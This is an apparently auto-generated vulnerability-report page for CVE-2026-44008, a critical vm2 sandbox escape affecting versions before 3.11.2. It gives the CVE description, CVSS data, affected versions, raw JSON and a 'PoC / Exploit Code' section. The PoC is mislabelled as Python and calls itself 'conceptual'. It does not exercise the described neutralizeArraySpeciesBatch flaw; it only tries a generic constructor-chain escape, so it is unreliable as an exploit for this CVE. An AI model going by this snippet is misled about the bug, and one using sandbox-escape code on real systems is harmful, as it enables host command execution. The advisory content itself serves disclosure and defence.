Security Vulnerability Report
中文
CVE-2026-44008 CVSS 9.8 CRITICAL

CVE-2026-44008

Published: 2026-05-13 18:16:18
Last Modified: 2026-05-14 15:18:00

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE
vm2 < 3.11.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const {VM} = require('vm2'); const vm = new VM(); // Conceptual PoC based on the vulnerability description // Exploiting the neutralizeArraySpeciesBatch method to leak host objects const code = ` // Malicious code to exploit the prototype chain issue // and gain access to the host Function object try { // Trigger the vulnerability in neutralizeArraySpeciesBatch // to escape the sandbox and execute commands const hostFunction = (function(){}).constructor.constructor('return process')(); hostFunction.exit(); } catch(e) { console.log("Exploit logic execution"); } `; try { vm.run(code); } catch (e) { console.error("VM execution error:", e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44008", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:17.667", "lastModified": "2026-05-14T15:17:59.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.2", "matchCriteriaId": "9CB5A61C-3393-4F75-B18E-40EB5A69165C"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-9qj6-qjgg-37qq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}